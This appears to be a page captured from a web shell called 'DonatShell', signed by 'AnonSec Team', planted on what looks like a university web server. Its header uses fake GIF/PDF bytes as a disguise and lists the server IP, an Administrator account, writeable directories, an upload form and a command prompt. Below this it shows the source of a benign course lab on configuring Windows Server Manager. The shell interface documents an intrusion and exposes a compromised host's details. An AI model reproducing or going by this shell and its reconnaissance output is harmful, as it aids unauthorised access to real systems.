GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2274/Labs/Lab05/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2274/Labs/Lab05/Lab05.phpinc
<?
// JimMartinson/CST2274/Labs/Lab02/Lab02.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // ReplacedNaN
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; }

require('JimMartinson/CST2274/Labs/GenerateComputerNames.phpinc'); // Includes 'Gradebook/EvaluationSubmission_BEGIN.phpinc'.

$disabled = '';
$disabled = ' disabled';
if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? }

$uploadFilename = $courseNumber.'_'.$evaluationName.'_'.$userFileName.'.png';
?>
<fieldset><legend>Description</legend>
Demonstrate your ability to install and use Server Manager on Windows 10.
<br><ins title="Added 10/25/2022"><span class="note normal">Changed lab to include both of your servers in Server Manager.</span></ins>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<?=$gradeNote?>
<ol class="count">
	<!-- 1 -->
	<li>
		Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab.
	</li>
	<!-- 2 -->
	<li>Add your servers (<?=$serverName?> <ins title="Added 10/25/2022">and <?=$coreServerName?></ins>) to the hosts file:
		<ol>
			<li>Note down the IP addresses of your DE (<?=$serverName?>) <ins title="Added 10/25/2022">and Core (<?=$coreServerName?>)</ins> servers.</li>
			<li>Open a Command Prompt as Administrator.</li>
			<li>Edit the hosts file with the command: <span class="kbd copyText">notepad C:\Windows\system32\drivers\etc\hosts</span>.</li>
			<li>At the bottom of the file add the IP address of your <?=$serverName?> server, a tab, and your DE servre's name (<?=$serverName?>).</li>
			<li><ins title="Added 10/25/2022">At the bottom of the file add the IP address of your <?=$coreServerName?> server, a tab, and your Core servre's name (<?=$serverName?>).</ins></li>
			<li>Save your changes.<br>
				<? showBegin('See example hosts file'); ?><br>
				<pre class="code"># Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost
<span class="codechange">aaa.bbb.ccc.ddd	<?=$serverName?></span>
<span class="codechange">aaa.bbb.ccc.ddd	<?=$coreServerName?></pre></span>
				<span class="note normal">Change aaa.bbb.ccc.ddd to the IP addresses for your <?=$serverName?> and <?=$coreServerName?> servers.</span><br>
				<? showEnd (); ?></li>
		</ol>
	</li>
	<!-- 3 -->
	<li>Add your DE (<?=$serverName?>) <ins title="Added 10/25/2022">and Core (<?=$coreServerName?>)</ins> servers to TrustedHosts:
		<ol>
			<li>Run powershell as Administrator.</li>
			<li>Enter the command:
				<br><span class="kbd copyText">Set-Item wsman:\localhost\Client\TrustedHosts "<?=$serverName?>" -Concatenate -Force</span>
			</li>
			<li><ins title="Added 10/25/2022">Enter the command:</ins>
				<br><span class="kbd copyText">Set-Item wsman:\localhost\Client\TrustedHosts "<?=$coreServerName?>" -Concatenate -Force</span>
			</li>
		</ol>
	</li>
	<!-- 4 -->
	<li>Add your DE (<?=$serverName?>) <ins title="Added 10/25/2022">and Core (<?=$coreServerName?>)</ins> servers to Server Manager:
		<ol>
			<li>Open <b>Server Manager / Dashboard</b>.</li>
			<li>Click on <b>Add other servers to manage</b>.</li>
			<li>Select the <b>DNS</b> tab.</li>
			<li>Enter your DE server name (<?=$serverName?>) and search.</li>
			<li>Add the server and click OK.
				<br><span class="note">You should see the error: <b><?=$serverName?> -	WinRM Negotiate authentication error</b>.</span>
			</li>
			<li><ins title="Added 10/25/2022">Enter your Core server name (<?=$coreServerName?>) and search.</ins></li>
			<li><ins title="Added 10/25/2022">Add the server and click OK.
				<br><span class="note">You should see the error: <b><?=$coreServerName?> -	WinRM Negotiate authentication error</b>.</span></ins>
			</li>
		</ol>
	</li>
	<!-- 5 -->
	<li>Set the credentials used to manage your <?=$serverName?> server:
		<ol>
			<li>Open <b>Server Manager / All Servers</b>.</li>
			<li>Right-click on your <?=$serverName?> server and select <b>Manage As ...</b></li>
			<li>Enter <b class="copyText">WORKGROUP\Administrator</b> as the User name.</li>
			<li>Enter the Administrator's password.</li>
			<li>Check <b>Remember me</b>.</li>
			<li>Click <b>OK</b>.
				<br><span class="note">The <b>Manageability</b> column should now show the server is online.
				<br>If it does not then you either missed a step, did one incorrectly, or another error has occured.</span>
			</li>
		</ol>
	</li>
	<!-- 6 -->
	<li><ins title="Added 10/25/2022">Set the credentials used to manage your <?=$coreServerName?> server:
		<ol>
			<li>Open <b>Server Manager / All Servers</b>.</li>
			<li>Right-click on your <?=$coreServerName?> server and select <b>Manage As ...</b></li>
			<li>Enter <b class="copyText">WORKGROUP\Administrator</b> as the User name.</li>
			<li>Enter the Administrator's password.</li>
			<li>Check <b>Remember me</b>.</li>
			<li>Click <b>OK</b>.
				<br><span class="note">The <b>Manageability</b> column should now show the server is online.
				<br>If it does not then you either missed a step, did one incorrectly, or another error has occured.</span>
			</li>
		</ol></ins>
	</li>
	<!-- 7 -->
	<li>Show that you have successfully configured Server Manager on your Windows 10 VM to manage your <?=$serverName?> server.
		<br>Take a screenshot of the <b>Server Manager / All Servers</b> window and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder.<br>
						<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
						<img src="images/managed.png" alt="Server Manager / All Servers <?=$serverName?> can be managed"/><br>
						<? showEnd (); ?>
	</li>
	<!-- 7 -->
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
	</li>
<? /**/ ?>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team